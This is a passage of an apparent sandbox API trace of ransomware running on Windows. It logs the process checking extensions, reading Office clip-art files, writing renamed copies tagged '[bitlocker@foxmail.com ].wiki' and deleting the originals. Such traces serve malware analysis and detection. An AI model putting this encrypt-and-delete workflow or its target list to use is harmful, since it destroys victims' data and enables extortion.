lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.018] lstrlenW (lpString=".jpg") returned 4 [0186.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.018] lstrlenW (lpString=".doc") returned 4 [0186.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.018] lstrlenW (lpString=".docx") returned 5 [0186.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.018] lstrlenW (lpString=".pdf") returned 4 [0186.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.019] lstrlenW (lpString=".xls") returned 4 [0186.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.019] lstrlenW (lpString=".xlsx") returned 5 [0186.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.019] lstrlenW (lpString=".ppt") returned 4 [0186.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.019] lstrlenW (lpString=".zip") returned 4 [0186.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.019] lstrlenW (lpString=".rar") returned 4 [0186.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.019] lstrlenW (lpString=".bz2") returned 4 [0186.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.019] lstrlenW (lpString=".7z") returned 3 [0186.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.019] lstrlenW (lpString=".dbf") returned 4 [0186.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.019] lstrlenW (lpString=".1cd") returned 4 [0186.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63 [0186.019] lstrlenW (lpString=".jpg") returned 4 [0186.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.019] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.019] lstrlenW (lpString="BS00092_.WMF") returned 12 [0186.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.020] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7974) returned 1 [0186.020] CloseHandle (hObject=0x1cc) returned 1 [0186.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0186.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.020] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.021] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0186.021] GetLastError () returned 0x0 [0186.021] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1f26, lpOverlapped=0x0) returned 1 [0186.068] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0186.069] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.069] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.069] SetEndOfFile (hFile=0x1c0) returned 1 [0186.070] CloseHandle (hObject=0x1c0) returned 1 [0186.070] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.070] SetEndOfFile (hFile=0x1cc) returned 1 [0186.070] CloseHandle (hObject=0x1cc) returned 1 [0186.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0186.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.071] lstrlenW (lpString=".doc") returned 4 [0186.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.071] lstrlenW (lpString=".docx") returned 5 [0186.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.071] lstrlenW (lpString=".pdf") returned 4 [0186.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.071] lstrlenW (lpString=".xls") returned 4 [0186.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.071] lstrlenW (lpString=".xlsx") returned 5 [0186.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.071] lstrlenW (lpString=".ppt") returned 4 [0186.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.071] lstrlenW (lpString=".zip") returned 4 [0186.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.071] lstrlenW (lpString=".rar") returned 4 [0186.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.071] lstrlenW (lpString=".bz2") returned 4 [0186.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.071] lstrlenW (lpString=".7z") returned 3 [0186.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.072] lstrlenW (lpString=".dbf") returned 4 [0186.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.072] lstrlenW (lpString=".1cd") returned 4 [0186.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.072] lstrlenW (lpString=".jpg") returned 4 [0186.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.072] lstrlenW (lpString=".doc") returned 4 [0186.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString=".docx") returned 5 [0186.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.072] lstrlenW (lpString=".pdf") returned 4 [0186.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString=".xls") returned 4 [0186.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.072] lstrlenW (lpString=".xlsx") returned 5 [0186.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.072] lstrlenW (lpString=".ppt") returned 4 [0186.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.072] lstrlenW (lpString=".zip") returned 4 [0186.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.072] lstrlenW (lpString=".rar") returned 4 [0186.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString=".bz2") returned 4 [0186.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.072] lstrlenW (lpString=".7z") returned 3 [0186.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.073] lstrlenW (lpString=".dbf") returned 4 [0186.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.073] lstrlenW (lpString=".1cd") returned 4 [0186.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0186.073] lstrlenW (lpString=".jpg") returned 4 [0186.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.073] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.073] lstrlenW (lpString="BS00145_.WMF") returned 12 [0186.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.073] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1712) returned 1 [0186.073] CloseHandle (hObject=0x1cc) returned 1 [0186.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0186.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.074] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.074] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0186.074] GetLastError () returned 0x0 [0186.074] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x6b0, lpOverlapped=0x0) returned 1 [0186.093] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0186.093] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.093] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.094] SetEndOfFile (hFile=0x1c0) returned 1 [0186.094] CloseHandle (hObject=0x1c0) returned 1 [0186.094] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.094] SetEndOfFile (hFile=0x1cc) returned 1 [0186.095] CloseHandle (hObject=0x1cc) returned 1 [0186.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.095] lstrlenW (lpString=".doc") returned 4 [0186.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.095] lstrlenW (lpString=".docx") returned 5 [0186.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.095] lstrlenW (lpString=".pdf") returned 4 [0186.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.095] lstrlenW (lpString=".xls") returned 4 [0186.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.095] lstrlenW (lpString=".xlsx") returned 5 [0186.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.095] lstrlenW (lpString=".ppt") returned 4 [0186.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.095] lstrlenW (lpString=".zip") returned 4 [0186.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.096] lstrlenW (lpString=".rar") returned 4 [0186.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString=".bz2") returned 4 [0186.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString=".7z") returned 3 [0186.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.096] lstrlenW (lpString=".dbf") returned 4 [0186.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.096] lstrlenW (lpString=".1cd") returned 4 [0186.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.096] lstrlenW (lpString=".jpg") returned 4 [0186.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.096] lstrlenW (lpString=".doc") returned 4 [0186.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString=".docx") returned 5 [0186.096] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.096] lstrlenW (lpString=".pdf") returned 4 [0186.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString=".xls") returned 4 [0186.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.096] lstrlenW (lpString=".xlsx") returned 5 [0186.096] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.096] lstrlenW (lpString=".ppt") returned 4 [0186.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.096] lstrlenW (lpString=".zip") returned 4 [0186.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.096] lstrlenW (lpString=".rar") returned 4 [0186.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString=".bz2") returned 4 [0186.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString=".7z") returned 3 [0186.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.097] lstrlenW (lpString=".dbf") returned 4 [0186.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.097] lstrlenW (lpString=".1cd") returned 4 [0186.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0186.097] lstrlenW (lpString=".jpg") returned 4 [0186.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.097] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.097] lstrlenW (lpString="BS00186_.WMF") returned 12 [0186.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.098] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12788) returned 1 [0186.098] CloseHandle (hObject=0x1cc) returned 1 [0186.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0186.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0186.098] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.098] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0186.098] GetLastError () returned 0x0 [0186.099] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x31f4, lpOverlapped=0x0) returned 1 [0186.115] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3200, lpOverlapped=0x0) returned 1 [0186.116] ReadFile (in: hFile=0x1cc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.116] WriteFile (in: hFile=0x1c0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.116] SetEndOfFile (hFile=0x1c0) returned 1 [0186.116] CloseHandle (hObject=0x1c0) returned 1 [0186.116] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.116] SetEndOfFile (hFile=0x1cc) returned 1 [0186.117] CloseHandle (hObject=0x1cc) returned 1 [0186.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0186.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.117] lstrlenW (lpString=".doc") returned 4 [0186.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.117] lstrlenW (lpString=".docx") returned 5 [0186.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.118] lstrlenW (lpString=".pdf") returned 4 [0186.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString=".xls") returned 4 [0186.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.118] lstrlenW (lpString=".xlsx") returned 5 [0186.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.118] lstrlenW (lpString=".ppt") returned 4 [0186.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.118] lstrlenW (lpString=".zip") returned 4 [0186.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.118] lstrlenW (lpString=".rar") returned 4 [0186.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString=".bz2") returned 4 [0186.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString=".7z") returned 3 [0186.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.118] lstrlenW (lpString=".dbf") returned 4 [0186.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.118] lstrlenW (lpString=".1cd") returned 4 [0186.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.118] lstrlenW (lpString=".jpg") returned 4 [0186.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 63 [0186.119] lstrlenW 